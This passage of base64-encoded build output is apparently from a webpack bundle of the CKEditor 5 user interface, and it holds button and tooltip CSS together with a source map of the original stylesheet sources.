AyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBJbXBsZW1lbnRzIHJvdW5kZWQgY29ybmVyIGludGVyZmFjZSBmb3IgLmNrLXJvdW5kZWQtY29ybmVycyBjbGFzcy5cbiAqXG4gKiBAc2VlICRjay1ib3JkZXItcmFkaXVzXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzIHtcblx0Ym9yZGVyLXJhZGl1czogMDtcblxuXHRAbmVzdCAuY2stcm91bmRlZC1jb3JuZXJzICYsXG5cdCYuY2stcm91bmRlZC1jb3JuZXJzIHtcblx0XHRib3JkZXItcmFkaXVzOiB2YXIoLS1jay1ib3JkZXItcmFkaXVzKTtcblx0XHRAbWl4aW4tY29udGVudDtcblx0fVxufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwiLmNrLmNrLWJ1dHRvbixhLmNrLmNrLWJ1dHRvbnstbW96LXVzZXItc2VsZWN0Om5vbmU7LXdlYmtpdC11c2VyLXNlbGVjdDpub25lOy1tcy11c2VyLXNlbGVjdDpub25lO3VzZXItc2VsZWN0Om5vbmV9LmNrLmNrLWJ1dHRvbiAuY2stdG9vbHRpcCxhLmNrLmNrLWJ1dHRvbiAuY2stdG9vbHRpcHtkaXNwbGF5OmJsb2NrfUBtZWRpYSAoaG92ZXI6bm9uZSl7LmNrLmNrLWJ1dHRvbiAuY2stdG9vbHRpcCxhLmNrLmNrLWJ1dHRvbiAuY2stdG9vbHRpcHtkaXNwbGF5Om5vbmV9fS5jay5jay1idXR0b24sYS5jay5jay1idXR0b257cG9zaXRpb246cmVsYXRpdmU7ZGlzcGxheTppbmxpbmUtZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmxlZnR9LmNrLmNrLWJ1dHRvbiAuY2stYnV0dG9uX19sYWJlbCxhLmNrLmNrLWJ1dHRvbiAuY2stYnV0dG9uX19sYWJlbHtkaXNwbGF5Om5vbmV9LmNrLmNrLWJ1dHRvbi5jay1idXR0b25fd2l0aC10ZXh0IC5jay1idXR0b25fX2xhYmVsLGEuY2suY2stYnV0dG9uLmNrLWJ1dHRvbl93aXRoLXRleHQgLmNrLWJ1dHRvbl9fbGFiZWx7ZGlzcGxheTppbmxpbmUtYmxvY2t9LmNrLmNrLWJ1dHRvbjpub3QoLmNrLWJ1dHRvbl93aXRoLXRleHQpLGEuY2suY2stYnV0dG9uOm5vdCguY2stYnV0dG9uX3dpdGgtdGV4dCl7anVzdGlmeS1jb250ZW50OmNlbnRlcn0uY2suY2stYnV0dG9uOmhvdmVyIC5jay10b29sdGlwLGEuY2suY2stYnV0dG9uOmhvdmVyIC5jay10b29sdGlwe3Zpc2liaWxpdHk6dmlzaWJsZTtvcGFjaXR5OjF9LmNrLmNrLWJ1dHRvbjpmb2N1czpub3QoOmhvdmVyKSAuY2stdG9vbHRpcCxhLmNrLmNrLWJ1dHRvbjpmb2N1czpub3QoOmhvdmVyKSAuY2stdG9vbHRpcHtkaXNwbGF5Om5vbmV9LmNrLmNrLWJ1dHRvbixhLmNrLmNrLWJ1dHRvbntiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLWJ1dHRvbi1kZWZhdWx0LWJhY2tncm91bmQpfS5jay5jay1idXR0b246bm90KC5jay1kaXNhYmxlZCk6aG92ZXIsYS5jay5jay1idXR0b246bm90KC5jay1kaXNhYmxlZCk6aG92ZXJ7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1idXR0b24tZGVmYXVsdC1ob3Zlci1iYWNrZ3JvdW5kKX0uY2suY2stYnV0dG9uOm5vdCguY2stZGlzYWJsZWQpOmFjdGl2ZSxhLmNrLmNrLWJ1dHRvbjpub3QoLmNrLWRpc2FibGVkKTphY3RpdmV7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1idXR0b24tZGVmYXVsdC1hY3RpdmUtYmFja2dyb3VuZCk7Ym94LXNoYWRvdzppbnNldCAwIDJweCAycHggdmFyKC0tY2stY29sb3ItYnV0dG9uLWRlZmF1bHQtYWN0aXZlLXNoYWRvdyl9LmNrLmNrLWJ1dHRvbi5jay1kaXNhYmxlZCxhLmNrLmNrLWJ1dHRvbi5jay1kaXNhYmxlZHtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLWJ1dHRvbi1kZWZhdWx0LWRpc2FibGVkLWJhY2tncm91bmQpfS5jay5jay1idXR0b24sYS5jay5jay1idXR0b257Ym9yZGVyLXJhZGl1czowfS5jay1yb3VuZGVkLWNvcm5lcnMgLmNrLmNrLWJ1dHRvbiwuY2stcm91bmRlZC1jb3JuZXJzIGEuY2suY2stYnV0dG9uLC5jay5jay1idXR0b24uY2stcm91bmRlZC1jb3JuZXJzLGEuY2suY2stYnV0dG9uLmNrLXJvdW5kZWQtY29ybmVyc3tib3JkZXItcmFkaXVzOnZhcigtLWNrLWJvcmRlci1yYWRpdXMpfS5jay5jay1idXR0b24sYS5jay5jay1idXR0b257d2hpdGUtc3BhY2U6bm93cmFwO2N1cnNvcjpkZWZhdWx0O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtwYWRkaW5nOnZhcigtLWNrLXNwYWNpbmctdGlueSk7dGV4dC1hbGlnbjpjZW50ZXI7bWluLXdpZHRoOnZhcigtLWNrLXVpLWNvbXBvbmVudC1taW4taGVpZ2h0KTttaW4taGVpZ2h0OnZhcigtLWNrLXVpLWNvbXBvbmVudC1taW4taGVpZ2h0KTtsaW5lLWhlaWdodDoxO2ZvbnQtc2l6ZTppbmhlcml0O2JvcmRlcjoxcHggc29saWQgdHJhbnNwYXJlbnQ7dHJhbnNpdGlvbjpib3gtc2hhZG93IC4ycyBlYXNlLWluLW91dCxib3JkZXIgLjJzIGVhc2UtaW4tb3V0Oy13ZWJraXQtYXBwZWFyYW5jZTpub25lfS5jay5jay1idXR0b246YWN0aXZlLC5jay5jay1idXR0b246Zm9jdXMsYS5jay5jay1idXR0b246YWN0aXZlLGEuY2suY2stYnV0dG9uOmZvY3Vze291dGxpbmU6bm9uZTtib3JkZXI6dmFyKC0tY2stZm9jdXMtcmluZyk7Ym94LXNoYWRvdzp2YXIoLS1jay1mb2N1cy1vdXRlci1zaGFkb3cpLDAgMH0uY2suY2stYnV0dG9uIC5jay1idXR0b25fX2ljb24gdXNlLC5jay5jay1idXR0b24gLmNrLWJ1dHRvbl9faWNvbiB1c2UgKixhLmNrLmNrLWJ1dHRvbiAuY2stYnV0dG9uX19pY29uIHVzZSxhLmNrLmNrLWJ1dHRvbiAuY2stYnV0dG9uX19pY29uIHVzZSAqe2NvbG9yOmluaGVyaXR9LmNrLmNrLWJ1dHRvbiAuY2stYnV0dG9uX19sYWJlbCxhLmNrLmNrLWJ1dHRvbiAuY2stYnV0dG9uX19sYWJlbHtmb250LXNpemU6aW5oZXJpdDtmb250LXdlaWdodDppbmhlcml0O2NvbG9yOmluaGVyaXQ7Y3Vyc29yOmluaGVyaXQ7dmVydGljYWwtYWxpZ246bWlkZGxlfVtkaXI9bHRyXSAuY2suY2stYnV0dG9uIC5jay1idXR0b25fX2xhYmVsLFtkaXI9bHRyXSBhLmNrLmNrLWJ1dHRvbiAuY2stYnV0dG9uX19sYWJlbHt0ZXh0LWFsaWduOmxlZnR9W2Rpcj1ydGxdIC5jay5jay1idXR0b24gLmNrLWJ1dHRvbl9fbGFiZWwsW2Rpcj1ydGxdIGEuY2suY2stYnV0dG9uIC5jay1idXR0b25fX2xhYmVse3RleHQtYWxpZ246cmlnaHR9LmNrLmNrLWJ1dHRvbiAuY2stYnV0dG9uX19rZXlzdHJva2UsYS5jay5jay1idXR0b24gLmNrLWJ1dHRvbl9fa2V5c3Ryb2tle2NvbG9yOmluaGVyaXR9W2Rpcj1sdHJdIC5jay5jay1idXR0b24gLmNrLWJ1dHRvbl9fa2V5c3Ryb2tlLFtkaXI9bHRyXSBhLmNrLmNrLWJ1dHRvbiAuY2stYnV0dG9uX19rZXlzdHJva2V7bWFyZ2luLWxlZnQ6dmFyKC0tY2stc3BhY2luZy1sYXJnZSl9W2Rpcj1ydGxdIC5jay5jay1idXR0b24gLmNrLWJ1dHRvbl9fa2V5c3Ryb2tlLFtkaXI9cnRsXSBhLmNrLmNrLWJ1dHRvbiAuY2stYnV0dG9uX19rZXlzdHJva2V7bWFyZ2luLXJpZ2h0OnZhcigtLWNrLXNwYWNpbmctbGFyZ2UpfS5jay5jay1idXR0b24gLmNrLWJ1dHRvbl9fa2V5c3Ryb2tlLGEuY2suY2stYnV0dG9uIC5jay1idXR0b25fX2tleXN0cm9rZXtmb250LXdlaWdodDo3MDA7b3BhY2l0eTouN30uY2suY2stYnV0dG9uLmNrLWRpc2FibGVkOmFjdGl2ZSwuY2suY2stYnV0dG9uLmNrLWRpc2FibGVkOmZvY3VzLGEuY2suY2stYnV0dG9uLmNrLWRpc2FibGVkOmFjdGl2ZSxhLmNrLmNrLWJ1dHRvbi5jay1kaXNhYmxlZDpmb2N1c3tib3gtc2hhZG93OnZhcigtLWNrLWZvY3VzLWRpc2FibGVkLW91dGVyLXNoYWRvdyksMCAwfS5jay5jay1idXR0b24uY2stZGlzYWJsZWQgLmNrLWJ1dHRvbl9faWNvbixhLmNrLmNrLWJ1dHRvbi5jay1kaXNhYmxlZCAuY2stYnV0dG9uX19pY29ue29wYWNpdHk6dmFyKC0tY2stZGlzYWJsZWQtb3BhY2l0eSl9LmNrLmNrLWJ1dHRvbi5jay1kaXNhYmxlZCAuY2stYnV0dG9uX19sYWJlbCxhLmNrLmNrLWJ1dHRvbi5jay1kaXNhYmxlZCAuY2stYnV0dG9uX19sYWJlbHtvcGFjaXR5OnZhcigtLWNrLWRpc2FibGVkLW9wYWNpdHkpfS5jay5jay1idXR0b24uY2stZGlzYWJsZWQgLmNrLWJ1dHRvbl9fa2V5c3Ryb2tlLGEuY2suY2stYnV0dG9uLmNrLWRpc2FibGVkIC5jay1idXR0b25fX2tleXN0cm9rZXtvcGFjaXR5Oi4zfS5jay5jay1idXR0b24uY2stYnV0dG9uX3dpdGgtdGV4dCxhLmNrLmNrLWJ1dHRvbi5jay1idXR0b25fd2l0aC10ZXh0e3BhZGRpbmc6dmFyKC0tY2stc3BhY2luZy10aW55KSB2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKX1bZGlyPWx0cl0gLmNrLmNrLWJ1dHRvbi5jay1idXR0b25fd2l0aC10ZXh0IC5jay1idXR0b25fX2ljb24sW2Rpcj1sdHJdIGEuY2suY2stYnV0dG9uLmNrLWJ1dHRvbl93aXRoLXRleHQgLmNrLWJ1dHRvbl9faWNvbnttYXJnaW4tbGVmdDpjYWxjKHZhcigtLWNrLXNwYWNpbmctc21hbGwpKi0xKTttYXJnaW4tcmlnaHQ6dmFyKC0tY2stc3BhY2luZy1zbWFsbCl9W2Rpcj1ydGxdIC5jay5jay1idXR0b24uY2stYnV0dG9uX3dpdGgtdGV4dCAuY2stYnV0dG9uX19pY29uLFtkaXI9cnRsXSBhLmNrLmNrLWJ1dHRvbi5jay1idXR0b25fd2l0aC10ZXh0IC5jay1idXR0b25fX2ljb257bWFyZ2luLXJpZ2h0OmNhbGModmFyKC0tY2stc3BhY2luZy1zbWFsbCkqLTEpO21hcmdpbi1sZWZ0OnZhcigtLWNrLXNwYWNpbmctc21hbGwpfS5jay5jay1idXR0b24uY2stYnV0dG9uX3dpdGgta2V5c3Ryb2tlIC5jay1idXR0b25fX2xhYmVsLGEuY2suY2stYnV0dG9uLmNrLWJ1dHRvbl93aXRoLWtleXN0cm9rZSAuY2stYnV0dG9uX19sYWJlbHtmbGV4LWdyb3c6MX0uY2suY2stYnV0dG9uLmNrLW9uLGEuY2suY2stYnV0dG9uLmNrLW9ue2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItYnV0dG9uLW9uLWJhY2tncm91bmQpfS5jay5jay1idXR0b24uY2stb246bm90KC5jay1kaXNhYmxlZCk6aG92ZXIsYS5jay5jay1idXR0b24uY2stb246bm90KC5jay1kaXNhYmxlZCk6aG92ZXJ7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1idXR0b24tb24taG92ZXItYmFja2dyb3VuZCl9LmNrLmNrLWJ1dHRvbi5jay1vbjpub3QoLmNrLWRpc2FibGVkKTphY3RpdmUsYS5jay5jay1idXR0b24uY2stb246bm90KC5jay1kaXNhYmxlZCk6YWN0aXZle2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItYnV0dG9uLW9uLWFjdGl2ZS1iYWNrZ3JvdW5kKTtib3gtc2hhZG93Omluc2V0IDAgMnB4IDJweCB2YXIoLS1jay1jb2xvci1idXR0b24tb24tYWN0aXZlLXNoYWRvdyl9LmNrLmNrLWJ1dHRvbi5jay1vbi5jay1kaXNhYmxlZCxhLmNrLmNrLWJ1dHRvbi5jay1vbi5jay1kaXNhYmxlZHtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLWJ1dHRvbi1vbi1kaXNhYmxlZC1iYWNrZ3JvdW5kKX0uY2suY2stYnV0dG9uLmNrLWJ1dHRvbi1zYXZlLGEuY2suY2stYnV0dG9uLmNrLWJ1dHRvbi1zYXZle2NvbG9yOnZhcigtLWNrLWNvbG9yLWJ1dHRvbi1zYXZlKX0uY2suY2stYnV0dG9uLmNrLWJ1dHRvbi1jYW5jZWwsYS5jay5jay1idXR0b24uY2stYnV0dG9uLWNhbmNlbHtjb2xvcjp2YXIoLS1jay1jb2xvci1idXR0b24tY2FuY2VsKX0uY2suY2stYnV0dG9uLWFjdGlvbixhLmNrLmNrLWJ1dHRvbi1hY3Rpb257YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1idXR0b24tYWN0aW9uLWJhY2tncm91bmQpfS5jay5jay1idXR0b24tYWN0aW9uOm5vdCguY2stZGlzYWJsZWQpOmhvdmVyLGEuY2suY2stYnV0dG9uLWFjdGlvbjpub3QoLmNrLWRpc2FibGVkKTpob3ZlcntiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLWJ1dHRvbi1hY3Rpb24taG92ZXItYmFja2dyb3VuZCl9LmNrLmNrLWJ1dHRvbi1hY3Rpb246bm90KC5jay1kaXNhYmxlZCk6YWN0aXZlLGEuY2suY2stYnV0dG9uLWFjdGlvbjpub3QoLmNrLWRpc2FibGVkKTphY3RpdmV7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1idXR0b24tYWN0aW9uLWFjdGl2ZS1iYWNrZ3JvdW5kKTtib3gtc2hhZG93Omluc2V0IDAgMnB4IDJweCB2YXIoLS1jay1jb2xvci1idXR0b24tYWN0aW9uLWFjdGl2ZS1zaGFkb3cpfS5jay5jay1idXR0b24tYWN0aW9uLmNrLWRpc2FibGVkLGEuY2suY2stYnV0dG9uLWFjdGlvbi5jay1kaXNhYmxlZHtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLWJ1dHRvbi1hY3Rpb24tZGlzYWJsZWQtYmFja2dyb3VuZCl9LmNrLmNrLWJ1dHRvbi1hY3Rpb24sYS5jay5jay1idXR0b24tYWN0aW9ue2NvbG9yOnZhcigtLWNrLWNvbG9yLWJ1dHRvbi1hY3Rpb24tdGV4dCl9LmNrLmNrLWJ1dHRvbi1ib2xkLGEuY2suY2stYnV0dG9uLWJvbGR7Zm9udC13ZWlnaHQ6NzAwfSIsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdWkvdGhlbWUvY29tcG9uZW50cy9idXR0b24vYnV0dG9uLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL21peGlucy9fdW5zZWxlY3RhYmxlLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL2NvbXBvbmVudHMvdG9vbHRpcC9taXhpbnMvX3Rvb2x0aXAuY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9ja2VkaXRvcjUtdWkvY29tcG9uZW50cy9idXR0b24vYnV0dG9uLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LXVpL21peGlucy9fYnV0dG9uLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19yb3VuZGVkLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19mb2N1cy5jc3MiLCJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL3RoZW1lL21peGlucy9fc2hhZG93LmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19kaXNhYmxlZC5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFRQSw2QkNDQyxxQkFBc0IsQ0FDdEIsd0JBQXlCLENBQ3pCLG9CQUFxQixDQUNyQixnQkQ2QkQsQ0UvQkMscURBQ0MsYUFxQkQsQ0FIQyxvQkFuQkQscURBb0JFLFlBRUYsQ0FEQyxDRnZCRiw2QkFLQyxpQkFBa0IsQ0FDbEIsbUJBQW9CLENBQ3BCLGtCQUFtQixDQUNuQixvQkF5QkQsQ0F2QkMsaUVBQ0MsWUFDRCxDQUdDLHlHQUNDLG9CQUNELENBSUQsaUZBQ0Msc0JBQ0QsQ0VrQkEsaUVBQ0Msa0JBQW1CLENBQ25CLFNBQ0QsQ0FiQSx5RkFDQyxZQUNELENDN0JELDZCQ0FDLG9ERDBJRCxDQ3ZJRSw2RUFDQywwREFDRCxDQUVBLCtFQUNDLDJEQUE0QyxDQUM1Qyx1RUFDRCxDQUlELHFEQUNDLDZEQUNELENEaEJELDZCRURDLGVGMklELENBMUlBLHdJRUdFLHFDRnVJRixDQTFJQSw2QkFLQyxrQkFBbUIsQ0FDbkIsY0FBZSxDQUNmLHFCQUFzQixDQUN0Qiw4QkFBK0IsQ0FDL0IsaUJBQWtCLENBR2xCLDJDQUE0QyxDQUM1Qyw0Q0FBNkMsQ0FJN0MsYUFBYyxDQUdkLGlCQUFrQixDQUdsQiw0QkFBNkIsQ0FHN0IsNERBQThELENBRzlELHVCQTZHRCxDQTNHQyxvRkdqQ0EsWUFBYSxDQUNiLDJCQUEyQixDQ0YzQiwyQ0pzQ0EsQ0FJQyxrSkFFQyxhQUNELENBR0QsaUVBRUMsaUJBQWtCLENBQ2xCLG1CQUFvQixDQUNwQixhQUFjLENBQ2QsY0FBZSxDQUlmLHFCQVNELENBbEJBLHFGQVlFLGVBTUYsQ0FsQkEscUZBZ0JFLGdCQUVGLENBRUEseUVBQ0MsYUFZRCxDQWJBLDZGQUlFLG1DQVNGLENBYkEsNkZBUUUsb0NBS0YsQ0FiQSx5RUFXQyxlQUFpQixDQUNqQixVQUNELENBSUMsb0lJckZELG9ESnlGQyxDQUVBLHVGSzNGRCxrQ0w2RkMsQ0FHQSx5RktoR0Qsa0NMa0dDLENBRUEsaUdBQ0MsVUFDRCxDQUdELHFFQUNDLHlEQWNELENBWEMsMkhBRUUsNENBQStDLENBQy9DLG9DQU9GLENBVkEsMkhBT0UsNkNBQWdELENBQ2hELG1DQUVGLENBS0EsbUhBQ0MsV0FDRCxDQUlELHlDQy9IQSwrQ0RpSUEsQ0M5SEMseUZBQ0MscURBQ0QsQ0FFQSwyRkFDQyxzREFBNEMsQ0FDNUMsa0VBQ0QsQ0FJRCxpRUFDQyx3REFDRCxDRG1IQSwyREFDQyxpQ0FDRCxDQUVBLCtEQUNDLG1DQUNELENBSUQsMkNDN0lDLG1ERGtKRCxDQy9JRSwyRkFDQyx5REFDRCxDQUVBLDZGQUNDLDBEQUE0QyxDQUM1QyxzRUFDRCxDQUlELG1FQUNDLDREQUNELENENkhELDJDQUlDLHdDQUNELENBRUEsdUNBRUMsZUFDRCIsc291cmNlc0NvbnRlbnQ6WycvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbkBpbXBvcnQgIi4uLy4uL21peGlucy9fdW5zZWxlY3RhYmxlLmNzcyI7XG5AaW1wb3J0ICIuLi90b29sdGlwL21peGlucy9fdG9vbHRpcC5jc3MiO1xuXG4uY2suY2stYnV0dG9uLFxuYS5jay5jay1idXR0b24ge1xuXHRAbWl4aW4gY2stdW5zZWxlY3RhYmxlO1xuXHRAbWl4aW4gY2stdG9vbHRpcF9lbmFibGVkO1xuXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGp1c3RpZnktY29udGVudDogbGVmdDtcblxuXHQmIC5jay1idXR0b25fX2xhYmVsIHtcblx0XHRkaXNwbGF5OiBub25lO1xuXHR9XG5cblx0Ji5jay1idXR0b25fd2l0aC10ZXh0IHtcblx0XHQmIC5jay1idXR0b25fX2xhYmVsIHtcblx0XHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHR9XG5cdH1cblxuXHQvKiBDZW50ZXIgdGhlIGljb24gaG9yaXpvbnRhbGx5IGluIGEgYnV0dG9uIHdpdGhvdXQgdGV4dC4gKi9cblx0Jjpub3QoLmNrLWJ1dHRvbl93aXRoLXRleHQpICB7XG5cdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdH1cblxuXHQmOmhvdmVyIHtcblx0XHRAbWl4aW4gY2stdG9vbHRpcF92aXNpYmxlO1xuXHR9XG5cblx0LyogR2V0IHJpZCBvZiB0aGUgbmF0aXZlIGZvY3VzIG91dGxpbmUgYXJvdW5kIHRoZSB0b29sdGlwIHdoZW4gZm9jdXNlZCAoYnV0IG5vdCA6aG92ZXIpLiAqL1xuXHQmOmZvY3VzOm5vdCg6aG92ZXIpIHtcblx0XHRAbWl4aW4gY2stdG9vbHRpcF9kaXNhYmxlZDtcblx0fVxufVxuJywiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4vKipcbiAqIE1ha2VzIGVsZW1lbnQgdW5zZWxlY3RhYmxlLlxuICovXG5AZGVmaW5lLW1peGluIGNrLXVuc2VsZWN0YWJsZSB7XG5cdC1tb3otdXNlci1zZWxlY3Q6IG5vbmU7XG5cdC13ZWJraXQtdXNlci1zZWxlY3Q6IG5vbmU7XG5cdC1tcy11c2VyLXNlbGVjdDogbm9uZTtcblx0dXNlci1zZWxlY3Q6IG5vbmVcbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBFbmFibGVzIHRoZSB0b29sdGlwLCB3aGljaCBpcyB0aGUgdG9vbHRpcCBpcyBpbiBET00gYnV0XG4gKiBub3QgeWV0IGRpc3BsYXllZC5cbiAqL1xuQGRlZmluZS1taXhpbiBjay10b29sdGlwX2VuYWJsZWQge1xuXHQmIC5jay10b29sdGlwIHtcblx0XHRkaXNwbGF5OiBibG9jaztcblxuXHRcdC8qXG5cdFx0ICogRG9uJ3QgZGlzcGxheSB0b29sdGlwcyBpbiBkZXZpY2VzIHdoaWNoIGRvbid0IHN1cHBvcnQgOmhvdmVyLlxuXHRcdCAqIEluIGZhY3QsIGl0J3MgYWxsIGFib3V0IGlPUywgd2hpY2ggZm9yY2VzIHVzZXIgdG8gY2xpY2sgVUkgZWxlbWVudHMgdHdpY2UgdG8gZXhlY3V0ZVxuXHRcdCAqIHRoZSBwcmltYXJ5IGFjdGlvbiwgd2hlbiB0b29sdGlwcyBhcmUgZW5hYmxlZC5cblx0XHQgKlxuXHRcdCAqIFE6IE9LLCBidXQgd2h5IG5vdCB0aGUgZm9sbG93aW5nIHF1ZXJ5P1xuXHRcdCAqXG5cdFx0ICogICBAbWVkaWEgKGhvdmVyKSB7XG5cdFx0ICogICAgICAgZGlzcGxheTogYmxvY2s7XG5cdFx0ICogICB9XG5cdFx0ICpcblx0XHQgKiBBOiBCZWNhdXNlIEZGIGRvZXMgbm90IHN1cHBvcnQgaXQgYW5kIGl0IHdvdWxkIGNvbXBsZXRlbHkgZGlzYWJsZSB0b29sdGlwc1xuXHRcdCAqIGluIHRoYXQgYnJvd3Nlci5cblx0XHQgKlxuXHRcdCAqIE1vcmUgaW4gaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS9pc3N1ZXMvOTIwLlxuXHRcdCAqL1xuXHRcdEBtZWRpYSAoaG92ZXI6bm9uZSkge1xuXHRcdFx0ZGlzcGxheTogbm9uZTtcblx0XHR9XG5cdH1cbn1cblxuLyoqXG4gKiBEaXNhYmxlcyB0aGUgdG9vbHRpcCBtYWtpbmcgaXQgZGlzYXBwZWFyIGZyb20gRE9NLlxuICovXG5AZGVmaW5lLW1peGluIGNrLXRvb2x0aXBfZGlzYWJsZWQge1xuXHQmIC5jay10b29sdGlwIHtcblx0XHRkaXNwbGF5OiBub25lO1xuXHR9XG59XG5cbi8qKlxuICogU2hvd3MgdGhlIHRvb2x0aXAsIHdoaWNoIGlzIGFscmVhZHkgaW4gRE9NLlxuICogUmVxdWlyZXMgYGNrLXRvb2x0aXBfZW5hYmxlZGAgZmlyc3QuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stdG9vbHRpcF92aXNpYmxlIHtcblx0JiAuY2stdG9vbHRpcCB7XG5cdFx0dmlzaWJpbGl0eTogdmlzaWJsZTtcblx0XHRvcGFjaXR5OiAxO1xuXHR9XG59XG4iLCcvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fZm9jdXMuY3NzIjtcbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fc2hhZG93LmNzcyI7XG5AaW1wb3J0ICIuLi8uLi8uLi9taXhpbnMvX2Rpc2FibGVkLmNzcyI7XG5AaW1wb3J0ICIuLi8uLi8uLi9taXhpbnMvX3JvdW5kZWQuY3NzIjtcbkBpbXBvcnQgIi4uLy4uL21peGlucy9fYnV0dG9uLmNzcyI7XG5AaW1wb3J0ICJAY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL21peGlucy9fZGlyLmNzcyI7XG5cbi5jay5jay1idXR0b24sXG5hLmNrLmNrLWJ1dHRvbiB7XG5cdEBtaXhpbiBjay1idXR0b24tY29sb3JzIC0tY2stY29sb3ItYnV0dG9uLWRlZmF1bHQ7XG5cdEBtaXhpbiBjay1yb3VuZGVkLWNvcm5lcnM7XG5cblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0Y3Vyc29yOiBkZWZhdWx0O1xuXHR2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xuXHRwYWRkaW5nOiB2YXIoLS1jay1zcGFjaW5nLXRpbnkpO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cblx0LyogQSB2ZXJ5IGltcG9ydGFudCBwaWVjZSBvZiBzdHlsaW5nLiBHbyB0byB2YXJpYWJsZSBkZWNsY